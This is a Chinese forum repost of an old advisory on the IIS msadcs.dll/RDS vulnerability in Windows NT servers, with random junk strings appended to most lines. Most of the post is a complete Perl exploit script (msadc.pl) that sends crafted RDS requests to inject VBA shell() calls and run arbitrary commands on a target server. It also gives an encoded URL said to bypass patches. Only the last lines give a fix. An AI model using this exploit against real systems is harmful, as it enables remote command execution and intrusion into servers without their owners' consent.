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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 1}I%yOi)  
#,\qjY  
涉及程序: c_.4~>qw  
Microsoft NT server w 8oIq*  
L t.Vo  
描述: ;rJ/Diz!g  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 c UHKE\F  
B pl(s+  
详细: (n~GKcA  
如果你没有时间读详细内容的话,就删除: J~1 =?</  
c:\Program Files\Common Files\System\Msadc\msadcs.dll aEC&#Q(]q  
有关的安全问题就没有了。 L[p[m~HjG^  
>=3ay^(Y2D  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^/v!hq_#%&  
x[eho,6)  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3h>5 6{P  
关于利用ODBC远程漏洞的描述,请参看: D7(kkr:r  
Kx5VR4f`J@  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Bis'59?U_  
kX:d?*{KB  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Q.])En >i  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp '/H+  
c/ABBvd|  
这里不再论述。 %oN5jt  
m}>#s3KPA  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: zD}2Zh]  
D= LLm$y  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [(4s\c  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! '6W|,  
, aQ{  
~OQ/ |ws  
#将下面这段保存为txt文件,然后: "perl -x 文件名" (cEjC`]  
QGQ}I  
#!perl ;chz};zY  
# K trR+ :  
# MSADC/RDS 'usage' (aka exploit) script 0 P-eC|0  
# I2<t?c:Pn<  
# by rain.forest.puppy 0!!z'm3  
# v d}Y$X  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me (}NKW  
# beta test and find errors! r1QLSD]i6  
8 ,<F102(  
use Socket; use Getopt::Std; A +J&(7N  
getopts("e:vd:h:XR", \%args); `p)$7!  
I w-3Z'hOX  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; %N }0,a0  
j6{9XIR o_  
if (!defined $args{h} && !defined $args{R}) { bB`p-1  
print qq~ MZInS:Vj  
Usage: msadc.pl -h <host> { -d <delay> -X -v } @u}1 S1  
-h <host> = host you want to scan (ip or domain) Xeo2 < @[  
-d <seconds> = delay between calls, default 1 second aR}L- -m  
-X = dump Index Server path table, if available  b"C1  
-v = verbose ?#rejA:  
-e = external dictionary file for step 5 vfZ.js/  
D 4fHNk)kZ  
Or a -R will resume a command session 8KrqJN0\  
o?l9$"\sqb  
~; exit;} Pn[R.u(l  
^saH^kg1"  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; <; (pol|  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} AqHH^adzA:  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} !uJD hC  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Q(J6;s#b  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} +:&,Ts/  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .G|9:b  
=u#xPI0:  
if (!defined $args{R}){ $ret = &has_msadc; ic_q<Y}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} LmQS;/:  
Sx", Zb  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" )k}UjU`!  
. "cmd /c "; >SR! *3$5  
$in=<STDIN>; chomp $in; C0$KpUB  
$command="cmd /c " . $in ; *[^[!'kT&  
hLf<-NM  
if (defined $args{R}) {&load; exit;} {x#I&ra  
G uLU7a  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 2,,t+8"`  
&try_btcustmr; hs5aIJ  
- P$mN6h  
print "\nStep 2: Trying to make our own DSN..."; "}(g3Iy  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; k;bdzcMkQ  
z|:3,$~sN  
print "\nStep 3: Trying known DSNs..."; j~@Hj$APa`  
&known_dsn; 1:+f@#  
R!8qkG  
print "\nStep 4: Trying known .mdbs..."; hH|moj]  
&known_mdb; ..g?po  
%3r`EIB6  
if (defined $args{e}){ nr t3wqJ  
print "\nStep 5: Trying dictionary of DSN names..."; );zLy?n  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } hkhk,bhI  
z[q#Dw  
print "Sorry Charley...maybe next time?\n"; O-D${==  
exit; [h GS*  
mrgieb%  
############################################################################## QmpP_eS >  
"`jey)&H*M  
sub sendraw { # ripped and modded from whisker L(bYG0ZI5C  
sleep($delay); # it's a DoS on the server! At least on mine... (` N@4w=  
my ($pstr)=@_; V"T48~Ue  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || j(|9>J*,~G  
die("Socket problems\n"); I#m0n%-[  
if(connect(S,pack "SnA4x8",2,80,$target)){  XAb!hc   
select(S); $|=1; !\ckUMZ\  
print $pstr; my @in=<S>; ^-yEb\\i  
select(STDOUT); close(S); 6ofi8( n[  
return @in; tXgsWG?v[H  
} else { die("Can't connect...\n"); }} 0+]ol:i  
.(7 end<  
############################################################################## ?7Y6: zo$^  
YFF\m{#  
sub make_header { # make the HTTP request {xzs{)9|Y4  
my $msadc=<<EOT <^APq8>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 A+:X  
User-Agent: ACTIVEDATA !X5~!b^*  
Host: $ip P'dH*}H  
Content-Length: $clen Q,.[y"m9Y.  
Connection: Keep-Alive Gidh7x  
]26 Q*.1~  
ADCClientVersion:01.06 (")IU{>c6  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Kn !n}GtR  
8 )W{&#C>  
--!ADM!ROX!YOUR!WORLD! rLU+-_  
Content-Type: application/x-varg Y30e7d* qr  
Content-Length: $reqlen z,"fr%*,N  
f ;[\'_.*  
EOT ;ORT#7CU  
; $msadc=~s/\n/\r\n/g; Ch~2w)HAA  
return $msadc;} iAOm[=W  
z)Is:LhS  
############################################################################## _|!FhZ  
jgfl|;I?pg  
sub make_req { # make the RDS request w*E0f?s  
my ($switch, $p1, $p2)=@_; _qZ?|;o^  
my $req=""; my $t1, $t2, $query, $dsn; ac-R q.GQY  
Oc|`<^m  
if ($switch==1){ # this is the btcustmr.mdb query /Lf+*u>"  
$query="Select * from Customers where City=" . make_shell(); ]Ywj@-*q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Q/y^ff]=  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 9&>)4HNd?  
Od?M4Ed(  
elsif ($switch==2){ # this is general make table query QL<uQ`>(  
$query="create table AZZ (B int, C varchar(10))"; kFJ sB,2-  
$dsn="$p1";} -W^jmwM   
: " ([i"  
elsif ($switch==3){ # this is general exploit table query JwkMRO  
$query="select * from AZZ where C=" . make_shell(); 80p?qe  
$dsn="$p1";} Hq[vh7Lux  
Jj~c&LxrO  
elsif ($switch==4){ # attempt to hork file info from index server !zd]6YL$  
$query="select path from scope()"; ~F</ s.  
$dsn="Provider=MSIDXS;";} ,r&:C48 dI  
m_ |:tU(t  
elsif ($switch==5){ # bad query RY>BP[h  
$query="select"; ;oKN8vI#7  
$dsn="$p1";} 63J_u-o  
;Y&<psQeb  
$t1= make_unicode($query); ^* xhbM;  
$t2= make_unicode($dsn); AE_7sM  
$req = "\x02\x00\x03\x00"; | JmEI9n2  
$req.= "\x08\x00" . pack ("S1", length($t1)); [@l:C\2  
$req.= "\x00\x00" . $t1 ; [>B`"nyNQ  
$req.= "\x08\x00" . pack ("S1", length($t2)); [a\U8 w  
$req.= "\x00\x00" . $t2 ; k63]Qf=5?N  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; @AXRKYQ{t  
return $req;} OZ/P@`kN.f  
[<HU ~PP  
############################################################################## *r b/BZX{  
H%!ED1zpA  
sub make_shell { # this makes the shell() statement |C\%H R  
return "'|shell(\"$command\")|'";} q`l&G%  
q'07  
############################################################################## ;"*\R5 a  
-QUr|:SK:  
sub make_unicode { # quick little function to convert to unicode  #E[{  
my ($in)=@_; my $out; q8j W&_  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } d)G' y  
return $out;} 7*!h:rg  
` >w4G|{  
############################################################################## )E--E+j  
8]@)0q {r  
sub rdo_success { # checks for RDO return success (this is kludge) Z`5jX;Z!  
my (@in) = @_; my $base=content_start(@in); X$o$8s  
if($in[$base]=~/multipart\/mixed/){ oF1{/ERS  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Kjw4,z%\94  
return 0;} `1|#Za~e  
*R] Ob9X  
############################################################################## VR86ok  
K>=KsG  
sub make_dsn { # this makes a DSN for us ?F{sym@i  
my @drives=("c","d","e","f"); hlY]s &0  
print "\nMaking DSN: "; Lu.D,oP  
foreach $drive (@drives) { q^:>sfd  
print "$drive: "; ~r<@`[-L  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . x -wIgo+  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" bSOxM /N  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %4F Q~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; BCDmce`=l  
return 0 if $2 eq "404"; # not found/doesn't exist $XBn:0U  
if($2 eq "200") { tUS)1*{_  
foreach $line (@results) { ]V|rOtxb  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 3 [R<JrO  
} return 0;} H .F-mm  
zV)(i<Q  
############################################################################## K gN=b  
RrFq"  
sub verify_exists { Rne#z2Ok  
my ($page)=@_; D?+\"lI  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~SI`%^L  
return $results[0];} $uw[X  
DtXQLL*fl(  
############################################################################## $;kFuJF  
fkLI$Cl  
sub try_btcustmr { qOA+ao  
my @drives=("c","d","e","f"); Y(aEp_kV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D{-h2=V  
"4Joou"U  
foreach $dir (@dirs) { IM.sW'E  
print "$dir -> "; # fun status so you can see progress nkI+"$Rz0  
foreach $drive (@drives) { _n6ge*,E  
print "$drive: "; # ditto !n;0%"(FH  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  HaJs)j  
$reqlenlen=length( "$reqlen" ); 9Fo00"q  
$clen= 206 + $reqlenlen + $reqlen; L1'PQV  
{1 VHz])I  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); T1$fu(f  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} BZS%p  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |l4tR  
xJG&vOf;?  
############################################################################## -^1}J  
9CBKU4JQ  
sub odbc_error { r7Vt,{4/  
my (@in)=@_; my $base; t>hoXn^-  
my $base = content_start(@in); tcDWx:Q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this t0*kL.  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fQW1&lFT  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; se|>P=/  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U2v;[>=]  
return $in[$base+4].$in[$base+5].$in[$base+6];} [HRry2#s  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; $|kq{@<  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ^Rr!YnEN  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}  ?cG~M|@  
2C6o?*RjyY  
############################################################################## i-.]onR  
v'Y0|9c  
sub verbose { &a;{ed1B  
my ($in)=@_; Ro}7ERA  
return if !$verbose; ~]sj.>P  
print STDOUT "\n$in\n";} +8<|P&fH  
)b%t4~7  
############################################################################## Lud[.>i  
KT5amct  
sub save { _xKIp>A  
my ($p1, $p2, $p3, $p4)=@_; 7+N0$0w%r  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; U46qpb 7  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 2 m"2>gX  
close OUT;} ;mT|0&o>#  
*B4?(&0  
############################################################################## 'E\/H17  
[Rj_p&'  
sub load { iXoEdt)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; yH=Hrz:<eM  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); q8m{zSr  
@p=<IN>; close(IN); WGmXq.  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); O]-)?y/  
$target= inet_aton($ip) || die("inet_aton problems"); F"-u8in`  
print "Resuming to $ip ..."; FT F`-}Hz  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; H{)DI(,Y^P  
if($p[1]==1) { l|kGp~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ^Z |WD!>`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; &i(\g7%U  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 8"'Z0 Ey  
if (rdo_success(@results)){print "Success!\n";} c-jE1y<  
else { print "failed\n"; verbose(odbc_error(@results));}} {PGiNY%q  
elsif ($p[1]==3){ u=6LPwiI  
if(run_query("$p[3]")){ Y)O88C  
print "Success!\n";} else { print "failed\n"; }} ugu|?z*dI  
elsif ($p[1]==4){ k)3b0T@b  
if(run_query($drvst . "$p[3]")){ x?"+Or.h  
print "Success!\n"; } else { print "failed\n"; }} &@v&5EXOw  
exit;} ut*sx9l  
g=gM}`X%  
############################################################################## ]|xfKDu  
AjYvYMA&  
sub create_table { `{oFdvL~)  
my ($in)=@_; 5cUz^ >  
$reqlen=length( make_req(2,$in,"") ) - 28; &Z3u(Eb  
$reqlenlen=length( "$reqlen" ); }5Zmc6S{  
$clen= 206 + $reqlenlen + $reqlen; kTW[)  
my @results=sendraw(make_header() . make_req(2,$in,"")); 3>T2k }  
return 1 if rdo_success(@results); A"3"f8P8a  
my $temp= odbc_error(@results); verbose($temp); 3(oB[9]s  
return 1 if $temp=~/Table 'AZZ' already exists/; J16t&Ha`  
return 0;} @<TC+M5!  
QmKEl|/{u  
############################################################################## nk*T x  
kEYkd@ {  
sub known_dsn { n8+_Uww  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go /;X+<Wj  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", gLss2i.r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", <"hq}B  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); )KdEl9o  
?3_^SRW&a  
foreach $dSn (@dsns) { mgd)wZNV  
print "."; !'z"V_x~  
next if (!is_access("DSN=$dSn")); 6M#}&Gv  
if(create_table("DSN=$dSn")){ l!*!)qCB(S  
print "$dSn successful\n"; : GdLr  
if(run_query("DSN=$dSn")){ 9Ro7xSeD  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8C=8Wjm  
print "Something's borked. Use verbose next time\n";}}} print "\n";} gq7l>vT.  
;u?L>(b  
############################################################################## g=na3^PL6  
(|2:^T+  
sub is_access { t" $#KP<  
my ($in)=@_; ysH'X95  
$reqlen=length( make_req(5,$in,"") ) - 28; MqAN~<l [  
$reqlenlen=length( "$reqlen" ); o.g)[$M8cF  
$clen= 206 + $reqlenlen + $reqlen; 01 <Ti"  
my @results=sendraw(make_header() . make_req(5,$in,"")); a7>^^?|  
my $temp= odbc_error(@results); =c ;.cW  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 8b[<:{[YB  
return 0;} grxlGS~Q  
c }7gHud  
############################################################################## YXLZ2-%ohZ  
Vv&GyqoO]  
sub run_query { Pb}Iiq=  
my ($in)=@_; @@3%lr71   
$reqlen=length( make_req(3,$in,"") ) - 28; w }=LC#le  
$reqlenlen=length( "$reqlen" ); h:=W`(n5u  
$clen= 206 + $reqlenlen + $reqlen; {+^&7JX  
my @results=sendraw(make_header() . make_req(3,$in,"")); AsfmH-4)  
return 1 if rdo_success(@results); ._[uSBR'  
my $temp= odbc_error(@results); verbose($temp); Zs|m_O G  
return 0;} STL+tLJ  
B%I<6E[D  
############################################################################## z7s}-w,  
j a'_syn  
sub known_mdb { |/%X8\  
my @drives=("c","d","e","f","g"); S[e> 8  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ly-}HW(  
my $dir, $drive, $mdb; AIG5a$}&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; gX~lYdA  
qQwf#&  
# this is sparse, because I don't know of many X?$"dqA  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -`CE;  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {%D4%X<  
"\\system32\\certmdb.mdb", IP!`;?T=  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% W.(Q u-AE(  
> ofWHl[-  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", r]deVd G  
"\\cfusion\\cfapps\\forums\\forums_.mdb", QKIg5I-  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", MmQk@~  
"\\cfusion\\cfapps\\security\\realm_.mdb", >ra)4huZ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", gs(ZJO1 /L  
"\\cfusion\\database\\cfexamples.mdb", 6J<R;g23R]  
"\\cfusion\\database\\cfsnippets.mdb", *o=[p2d"X  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", &9EcgazV  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 2-%9k)KH  
"\\cfusion\\brighttiger\\database\\cleam.mdb", wW, n~W  
"\\cfusion\\database\\smpolicy.mdb", tfdb9# &?  
"\\cfusion\\database\cypress.mdb", r-AD*h@QZ  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", y[';@t7CC  
"\\website\\cgi-win\\dbsample.mdb", IOY<'t+  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", *&~(>gNF,  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ,0@QBr5P  
); #these are just 6f^IAa|  
foreach $drive (@drives) { 07G'"=  
foreach $dir (@dirs){ b/d 1(B@  
foreach $mdb (@sysmdbs) { 6lm<>#_  
print "."; ^g=j`f[T  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 6eQa @[.Q  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !l$k6,WJi  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ <C_FRpR<f  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; s]pNT1,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} m#^;V  
c6cB {/g  
foreach $drive (@drives) { MDoV84Fh  
foreach $mdb (@mdbs) { XZ:6A]62I  
print "."; ~?Zm3zOCc2  
if(create_table($drv . $drive . $dir . $mdb)){ |`'WEe2  
print "\n" . $drive . $dir . $mdb . " successful\n"; K(AZD&D  
if(run_query($drv . $drive . $dir . $mdb)){ O jH"qi  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; s;#,c(   
} else { print "Something's borked. Use verbose next time\n"; }}}} S])*LUi  
} t{e}3}LEd  
Ry40:;MYN  
############################################################################## jt0f*e YE8  
A}[x ))r  
sub hork_idx { y\=^pla  
print "\nAttempting to dump Index Server tables...\n"; Q>I7.c-M|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; < =!FB8 .  
$reqlen=length( make_req(4,"","") ) - 28; 24k;.o  
$reqlenlen=length( "$reqlen" ); Bo;{ QoB  
$clen= 206 + $reqlenlen + $reqlen; 47)\\n_\z  
my @results=sendraw2(make_header() . make_req(4,"","")); =vsvx{o?  
if (rdo_success(@results)){ a>&dAo}  
my $max=@results; my $c; my %d; Yv3 P]6c.  
for($c=19; $c<$max; $c++){ !$p E=~1C  
$results[$c]=~s/\x00//g; %zN~%mJG  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ^fP5@T*f  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; M4e8PRlI  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,4r 4 <  
$d{"$1$2"}="";} 0 *]ZC'pm  
foreach $c (keys %d){ print "$c\n"; } G_ #MXFWt  
} else {print "Index server doesn't seem to be installed.\n"; }} a&Me#H{  
}[y_Fr0  
############################################################################## l)f 2T@bHl  
bZ}T;!U?I  
sub dsn_dict { jxZ_-1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); }Vfc;2  
while(<IN>){ +&.39q !  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 2L S91  
next if (!is_access("DSN=$dSn")); x,c\q$8yH  
if(create_table("DSN=$dSn")){ _opB,,G  
print "$dSn successful\n"; $49;\pBZl  
if(run_query("DSN=$dSn")){ 7 b{y  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { XdE|7=+s  
print "Something's borked. Use verbose next time\n";}}} s0'6r$xj  
print "\n"; close(IN);} SP4(yJy&  
P&Wf.qr{:  
############################################################################## J I E0O`  
'jYKfq~_cJ  
sub sendraw2 { # ripped and modded from whisker nq\~`vH|Gd  
sleep($delay); # it's a DoS on the server! At least on mine... rxOv YF  
my ($pstr)=@_; vBV_aB1{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ah;`0Hz;  
die("Socket problems\n"); X.AE>fx*h  
if(connect(S,pack "SnA4x8",2,80,$target)){ hLaQ[9  
print "Connected. Getting data"; ~BgNM O;|  
open(OUT,">raw.out"); my @in; \^dYmU  
select(S); $|=1; print $pstr; 0U! _o2]  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} TVK*l*  
close(OUT); select(STDOUT); close(S); return @in; -kb;h F}.  
} else { die("Can't connect...\n"); }} rnC<(f22  
]'<"qY  
############################################################################## EME}G42KN  
|N|[E5Cn  
sub content_start { # this will take in the server headers - H`, ` #{  
my (@in)=@_; my $c; #<vzQ\~Y  
for ($c=1;$c<500;$c++) { db.~^][k  
if($in[$c] =~/^\x0d\x0a/){ I.p"8I;  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 1 0tt':  
else { return $c+1; }}} ~JB4s%&  
return -1;} # it should never get here actually / }(\P@Z  
;".]W;I*O  
############################################################################## WL;2&S/{@  
x5k6"S"1,  
sub funky { `82^!7!  
my (@in)=@_; my $error=odbc_error(@in); "YN6o_*]  
if($error=~/ADO could not find the specified provider/){  dK]#..  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; %Lom#:L'  
exit;} (R!`Z%  
if($error=~/A Handler is required/){ ,#hNHFa'JH  
print "\nServer has custom handler filters (they most likely are patched)\n"; )!5"\eys  
exit;} HG3iK  
if($error=~/specified Handler has denied Access/){ D 1(9/;9  
print "\nServer has custom handler filters (they most likely are patched)\n"; HFX,EE  
exit;}} _+<AxE9\  
G#3$sz  
############################################################################## q)N^  
ODKS6E1{  
sub has_msadc { :JK+V2B$H  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Q@rlqWgU ~  
my $base=content_start(@results); !*}E  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); >[g.8'hI  
return 0;} ,<;.'r  
Ll`nO;h  
######################## ew,g'$drD  
T!|-dYYI  
P%ZU+ET  
解决方案: W7w*VD|  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _ 3{8Zg  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 )_K:A(V>  
XXb,*u 3  
拿出来充数 哈哈
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